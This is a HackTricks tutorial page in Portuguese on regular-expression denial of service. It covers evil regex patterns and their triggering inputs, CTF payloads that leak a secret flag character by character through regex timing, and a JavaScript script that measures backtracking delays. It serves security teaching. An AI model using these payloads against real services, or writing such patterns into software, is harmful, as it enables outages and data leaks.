Regular expression Denial of Service - ReDoS

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Regular Expression Denial of Service (ReDoS)

Um Regular Expression Denial of Service (ReDoS) acontece quando alguém aproveita as fraquezas em como as expressões regulares (uma forma de buscar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando ficar maior. Essa lentidão pode crescer tanto que aumenta rapidamente com até pequenas aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo tempo.

O Algoritmo Naïve Problemático de Regex

Verifique os detalhes em https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Evil Regexes

Um padrão de expressão regular malicioso é aquele que pode ficar preso em uma entrada elaborada causando um DoS. Padrões de regex maliciosos geralmente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} para x > 10

Todos esses são vulneráveis à entrada aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

Exfiltração de String via ReDoS

Em um CTF (ou bug bounty) talvez você controle a Regex com a qual uma informação sensível (a bandeira) é combinada. Então, pode ser útil fazer a página congelar (timeout ou tempo de processamento mais longo) se a Regex combinar e não se não combinar. Dessa forma, você poderá exfiltrar a string caractere por caractere:

  • Em este post você pode encontrar esta regra de ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Exemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Em este writeup você pode encontrar este: <flag>(((((((.*)*)*)*)*)*)*)!
  • Em este writeup ele usou: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlando Entrada e Regex

Os seguintes são exemplos de ReDoS onde você controla tanto a entrada quanto a regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Ferramentas

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks